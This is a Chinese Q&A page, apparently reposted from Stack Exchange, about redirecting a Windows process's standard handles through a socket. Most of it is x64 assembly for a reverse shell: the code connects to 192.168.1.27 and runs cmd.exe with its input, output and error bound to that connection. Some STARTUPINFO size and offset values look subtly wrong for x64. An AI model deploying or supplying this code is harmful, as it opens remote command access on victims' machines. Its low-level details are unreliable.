如何在CreateProcessA中通过Socket重定向STDERROR/STDOUTPUT/STDINPUT
如何通过Socket实现标准输入/输出/错误重定向并结合CreateProcessA使用
核心原理(基于STARTUPINFO结构)
- hStdInput:
若dwFlags指定STARTF_USESTDHANDLES,该成员为进程的标准输入句柄;未指定时,标准输入默认是键盘缓冲区。若dwFlags指定STARTF_USEHOTKEY,该成员用于指定热键值,其他场景下会被忽略。- hStdOutput:
若dwFlags指定STARTF_USESTDHANDLES,该成员为进程的标准输出句柄;未指定时,标准输出默认是控制台窗口缓冲区。- hStdError:
若dwFlags指定STARTF_USESTDHANDLES,该成员为进程的标准错误句柄;未指定时,标准错误默认是控制台窗口缓冲区。
要实现Socket重定向,需完成以下关键步骤:
- 创建Socket并建立连接后,设置Socket句柄为可继承,确保子进程能获取该句柄
- 配置
STARTUPINFO结构,指定使用自定义标准句柄,并将三个标准句柄指向Socket - 调用
CreateProcessA时开启句柄继承开关
修改后的完整汇编代码
; ASM file combining network connection, handle inheritance, and redirected process creation ; Include necessary header files extern WSAStartup extern WSAConnect extern WSACleanup extern socket extern closesocket extern CreateProcessA extern WaitForSingleObject extern GetExitCodeProcess extern printf extern ExitProcess extern CloseHandle extern SetHandleInformation ; Define constants %define AF_INET 2 %define SOCK_STREAM 1 %define IPPROTO_TCP 6 %define STARTF_USESTDHANDLES 0x00000100 %define HANDLE_FLAG_INHERIT 0x00000001 section .data ; Network data ip_address dd 0x1B01A8C0 ; 192.168.1.27 in network format (little-endian) port dw 0x0540 ; Port 16389 in network format ; Command to execute cmd_line db "C:\\Windows\\System32\\cmd.exe", 0 ; Log messages create_process_msg db "Creating process...", 13, 10, 0 process_done_msg db "Process terminated with exit code: %d", 13, 10, 0 error_process_msg db "Error: Failed to create process.", 13, 10, 0 network_connect_msg db "Attempting to connect to network...", 13, 10, 0 network_error_msg db "Network connection error.", 13, 10, 0 handle_error_msg db "Error: Failed to set handle inheritance.", 13, 10, 0 section .bss ; Reserve space for variables wsadata resb 400 ; WSADATA structure sin resb 80 ; STARTUPINFO structure (x64 size is 80 bytes) pi resb 24 ; PROCESS_INFORMATION structure exit_code resd 1 ; Process exit code section .text global main main: sub rsp, 40 ; Align stack and reserve space ; Initialize Winsock mov rcx, 202h ; Version 2.2 lea rdx, [wsadata] call WSAStartup test rax, rax jnz exit ; If error, exit ; Display network connection message lea rcx, [rel network_connect_msg] call printf ; Create socket mov rcx, AF_INET mov rdx, SOCK_STREAM mov r8, IPPROTO_TCP call socket mov r13, rax ; Save socket descriptor to r13 cmp r13, -1 je cleanup_wsa ; If socket error, clean Winsock ; Set socket handle as inheritable mov rcx, r13 mov rdx, HANDLE_FLAG_INHERIT xor r8, r8 ; Clear mask to set only inherit flag call SetHandleInformation test rax, rax jz handle_inherit_failed ; If set failed, exit with error ; Prepare sockaddr structure sub rsp, 32 ; Allocate space on stack and align mov word [rsp], AF_INET ; Address family mov eax, [port] mov [rsp+2], ax ; Port mov eax, [ip_address] mov [rsp+4], eax ; IP address ; Call WSAConnect mov rcx, r13 ; Socket descriptor mov rdx, rsp ; name (pointer to sockaddr structure) mov r8, 16 ; namelen xor r9, r9 ; lpGQOS push 0 ; lpCallerData push 0 ; lpCalleeData push 0 ; lpSQOS sub rsp, 32 ; Shadow space for Windows x64 calling convention call WSAConnect add rsp, 56 ; Clean stack test rax, rax jnz close_socket ; If connection error, close socket ; Show process creation message lea rcx, [rel create_process_msg] call printf ; Prepare STARTUPINFO for redirected I/O mov dword [rel sin], 80 ; STARTUPINFO.cb = 80 (x64 structure size) mov dword [rel sin + 44], STARTF_USESTDHANDLES ; Enable custom std handles mov qword [rel sin + 56], r13 ; hStdInput = connected socket mov qword [rel sin + 64], r13 ; hStdOutput = connected socket mov qword [rel sin + 72], r13 ; hStdError = connected socket ; Call CreateProcessA xor ecx, ecx ; lpApplicationName (NULL) lea rdx, [rel cmd_line] ; lpCommandLine xor r8, r8 ; lpProcessAttributes (NULL) xor r9, r9 ; lpThreadAttributes (NULL) mov dword [rsp + 32], 1 ; bInheritHandles = TRUE mov [rsp + 40], ecx ; dwCreationFlags = 0 mov [rsp + 48], ecx ; lpEnvironment mov [rsp + 56], ecx ; lpCurrentDirectory lea rax, [rel sin] mov [rsp + 64], rax ; lpStartupInfo lea rax, [rel pi] mov [rsp + 72], rax ; lpProcessInformation call CreateProcessA ; Verify process creation test rax, rax jz process_creation_failed ; Wait for the process to complete mov rcx, [rel pi + 0] ; pi.hProcess mov rdx, -1 ; INFINITE timeout call WaitForSingleObject ; Retrieve exit code mov rcx, [rel pi + 0] ; pi.hProcess lea rdx, [rel exit_code] ; lpExitCode call GetExitCodeProcess ; Show exit code lea rcx, [rel process_done_msg] mov edx, [rel exit_code] call printf ; Close process and thread handles mov rcx, [rel pi + 0] ; pi.hProcess call CloseHandle mov rcx, [rel pi + 8] ; pi.hThread call CloseHandle close_socket: ; Close socket mov rcx, r13 call closesocket cleanup_wsa: ; Clean Winsock call WSACleanup exit: ; Exit the program xor rcx, rcx ; Exit code 0 call ExitProcess process_creation_failed: ; Show process error message lea rcx, [rel error_process_msg] call printf ; Exit with error code mov ecx, 1 call ExitProcess handle_inherit_failed: ; Show handle error message lea rcx, [rel handle_error_msg] call printf jmp close_socket
内容的提问来源于stack exchange,提问作者Zeblive
相关产品推荐
相关产品推荐

